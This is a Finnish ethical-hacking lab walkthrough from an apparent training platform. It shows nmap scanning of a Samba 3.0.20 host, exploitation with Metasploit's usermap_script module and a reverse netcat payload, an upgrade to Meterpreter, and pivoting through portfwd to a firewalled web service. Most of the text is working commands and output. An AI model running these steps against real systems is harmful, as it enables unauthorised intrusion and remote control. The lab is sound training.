Harjoitellaan seuraavaksi kuinka voidaan käyttää olemassa olevaa yhteyttä uusien yhteyksien luomiseen palveluihin, jotka eivät ole hyökkääjälle suoraan esillä. Toisin sanoen, katsotaan kuinka hyökkääjät tyypillisesti liikkuvat verkossa kun onnistuvat saamaan jalansijan verkkoon.
Käynnistä alla oleva harjoitus ja toista vaiheet perässä.
Haavoittuvuuden hyväksikäyttö
Aloitetaan perinteisellä nmap-skannauksella ja tarkistetaan saatavilla olevat palvelut. (Voit suorittaa tämän joko db_nmap moduulilla tai nmap-työkalulla erikseen)
root@figwusebrs-student:/# nmap -sV -Pn 10.0.2.225
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-10 22:16 UTC
Nmap scan report for 10.0.2.225
Host is up (0.000085s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.59 seconds
Ensimmäinen skannaus näyttää meille, että avoimet palvelut liittyvät Samba palveluun.
Samba on avoimen lähdekoodin ohjelmisto, joka mahdollistaa tiedostojen ja tulostimien jakamisen eri tietokoneiden välillä samassa verkossa.
Tämä ei vielä riitä meille, jotta voisimme lähteä etsimään järkeviä ja todennäköisiä haavoittuvuuksia palvelusta. Suoritaan lisää skannauksia käyttämällä nmap-työkalussa olevia skriptejä.
root@figwusebrs-student:/# nmap -A -p139,445 -Pn 10.0.2.225
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-10 22:22 UTC
Nmap scan report for 10.0.2.225
Host is up (0.000065s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open p��Q▒V Samba smbd 3.0.20 (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20)
| Computer name: figwusebrs-target
| NetBIOS computer name:
| Domain name:
| FQDN: figwusebrs-target
|_ System time: 2023-10-10T18:23:21-04:00
|_clock-skew: mean: 2h00m02s, deviation: 2h49m45s, median: 0s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Nyt nmap paljastaa meille, että kyseessä on Samba versio 3.0.20. Avataan metasploit tuttuun tapaan ja katsotaan löytyykö tälle jotain haavoittuvuuksia metasploitin haavakannasta.
msf6 > search exploit samba
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Yes Citrix Access Gateway Command Execution
1 exploit/windows/license/calicclnt_getconfig 2005-03-02 average No Computer Associates License Client GETCONFIG Overflow
2 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
3 exploit/windows/smb/group_policy_startup 2015-01-26 manual No Group Policy Script Execution From Shared Resource
4 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent No MS14-060 Microsoft Windows OLE Package Manager Code Execution
5 exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 excellent Yes Quest KACE Systems Management Command Injection
6 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
7 exploit/multi/samba/nttrans 2003-04-07 average No
Useita mielenkiintoisia ja ei niin mielenkiintoisia exploit-moduuleja löytyy. Tutkittuamme asiaa hieman tarkemmin (esimerkiksi etsimällä myös Exploit-DB sekä muista palveluista) löysimme "usermap_script"-exploitin joka vaikuttaa erittäin kiinnostavalta. Luetaan lisää exploitista info-komennolla.
Description:
This module exploits a command execution vulnerability in Samba
versions 3.0.20 through 3.0.25rc3 when using the non-default
"username map script" configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
commands.
No authentication is needed to exploit this vulnerability since
this option is used to map usernames prior to authentication!
Eli lyhyesti, kyseessä on exploit-moduuli, joka hyväksikäyttää haavoittuvuutta Samba versiossa 3.0.20 - 3.0.25rc3, kun Samba-palvelu on konfiguroitu käyttämään "username map script"-konfiguraatiota. Tämä ei ole oletusarvoinen tila, joten tämä vaatii oikeat olosuhteet, että haavoittuvuutta voi käyttää hyväksi. Tätä meidän on mahdotonta tarkistaa ennen haavoittuvuuden hyväksikäyttämistä, joka on usein käsillä oleva tilanne. Joskus voit huomata olevasi tilanteessa, että joudut ottamaan riskin kiinnijäämisestä tai palvelun rikkomisessa (esimerkiksi red-teaming harjoituksessa tai työprojektissa), siinä toivossa, että kyseinen haavoittuvuus löytyy. Silloin pitää harkita vaihtoehtoja tarkkaan, mutta onneksi nyt voimme rauhassa kokeilla erilaisia exploitteja Hakatemia-ympäristössä.
Valitaan exploit-moduuli ja asetetaan vaaditut asetukset oikein.
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.2.225
RHOSTS => 10.0.2.225
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.0.2.225 yes The target host(s), see https://docs.metasploit.co
m/docs/using-metasploit/basics/using-metasploit.ht
ml
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.69 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Hyötykuorma (payload) asetukset ovat oletusarvoisesti kunnossa. Kyseinen hyötykuorma aloittaa kuuntelijan ja luo yhteyden kuuntelijaasi, jos hyökkäys on onnistunut. Suoritetaan hyökkäys.
msf6 exploit(multi/samba/usermap_script) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.0.2.69:4444
msf6 exploit(multi/samba/usermap_script) > [*] Command shell session 1 opened (10.0.2.69:4444 -> 10.0.2.225:34324) at 2023-10-10 22:41:53 +0000
msf6 exploit(multi/samba/usermap_script) >
Hyökkäys onnistui ja meille syntyi etähallintayhteys kohdejärjestelmään. exploit -j komento suorittaa exploit-moduulin taustalla ja avaa luodut yhteydet taustalle, eikä siirrä meitä kohteen komentoriville. Jatketaan suoraan päivittämällä olemassa oleva yhteys meterpreter etäyhteydeksi.
msf6 exploit(multi/samba/usermap_script) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > exploit -j
[*] Post module running as background job 1.
[*] Upgrading session ID: 1
msf6 post(multi/manage/shell_to_meterpreter) > [*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.2.69:4433
[*] Sending stage (1017704 bytes) to 10.0.2.225
[*] Meterpreter session 2 opened (10.0.2.69:4433 -> 10.0.2.225:52460) at 2023-10-10 22:45:17 +0000
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 post(multi/manage/shell_to_meterpreter) >
Verkossa liikkuminen
Nyt meillä on auki kaksi sessiota kohdejärjestelmään. Katsotaan seuraavaksi, mitä palveluita järjestelmässä on käytössä.
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > netstat
Connection list
===============
Proto Local address Remote address State User Inode PID/Program name
----- ------------- -------------- ----- ---- ----- ----------------
tcp 0.0.0.0:53 0.0.0.0:* LISTEN 0 0
tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0
tcp 0.0.0.0:139 0.0.0.0:* LISTEN 0 0
tcp 0.0.0.0:80 0.0.0.0:* LISTEN 0 0
tcp 10.0.2.225:3432 10.0.2.69:4444 ESTABLISHED 0 0
4
tcp 10.0.2.225:5246 10.0.2.69:4433 ESTABLISHED 0 0
0
tcp 10.0.2.225:139 10.0.2.69:45567 CLOSE_WAIT 0 0
tcp :::53 :::* LISTEN 0 0
udp 0.0.0.0:53 0.0.0.0:* 0 0
udp 127.0.0.1:33431 0.0.0.0:* 0 0
udp :::53 :::* 0 0
meterpreter >
Järjestelmässä on auki jokin palvelu HTTP-portissa 80 vaikka alustavat nmap-skannauksemme ei sitä havainnut. Tämä johtuu todennäköisesti jostain palomuurista meidän ja palvelun välillä, joka estää pääsyn kyseiseen palveluun. Onneksi meillä on olemassa oleva tunneli kyseiseen palveluun ja voimme käyttää tätä tässä hyväksi. Luodaan seuraavaksi tunneli meidän ja kyseisen HTTP-palvelun välille.
Meterpreter sisältää hyödyllisen komennon tähän nimeltään portfwd.
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-h Help banner.
-i Index of the port forward entry to interact with (see the "list" command).
-l Forward: local port to listen on. Reverse: local port to connect to.
-L Forward: local host to listen on (optional). Reverse: local host to connect to.
-p Forward: remote port to connect to. Reverse: remote port to listen on.
-r Forward: remote host to connect to.
-R Indicates a reverse port forward.
Voimme käyttää tätä komentoa uusien tunnelien rakentamiseen käyttämällä murretun järjestelmän tarjolla olevia verkkoja sekä palveluita. Katsotaan tämä ensin käytännössä ja sitten pohditaan, mitä oikein tapahtui.
meterpreter > portfwd add -l 8000 -r 0.0.0.0 -p 80
[*] Forward TCP relay created: (local) :8000 -> (remote) 0.0.0.0:80
meterpreter >
Kali-koneella kuuntelee nyt portti 8000.
root@figwusebrs-student:/# netstat -antp |grep 8000
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 9217/ruby

Eli, onnistuimme luomaan yhteyden piilossa olevaan palveluun, käyttämällä ensimmäistä tunnelia kohdejärjestelmään. Mutta mitä viimeisessä vaiheessa oikein tapahtui.
Komento portfwd add Metasploitissa on tarkoitettu luomaan portin eteenpäin ohjaus (port forwarding) kuunteluportin ja kohdeportin välille. Kun komento on suoritettu, se luo ohjatun portin, joka kuuntelee paikallisesti porttia 8000. Kaikki saapuva liikenne tähän kuunteluporttiin ohjataan eteenpäin määriteltyyn kohdeosoitteeseen (0.0.0.0) ja kohdeporttiin (80). Tämä tarkoittaa, että kaikki saapuva liikenne paikalliselle portille 8000 ohjataan eteenpäin mihin tahansa osoitteeseen, joka on saatavilla ja vastaanottaa liikennettä portista 80 kohdekoneella.
Eli kun menimme kali koneella osoitteeseen 127.0.0.1:8000, metasploitin asettama kuuntelija otti liikenteemme ja siirsi sen olemassa olevan yhteyden kautta kohdejärjestelmän porttiin 80.
Mikä teksti löytyy HTTP-palvelun osoitteesta /secret.html ?


Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.
Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.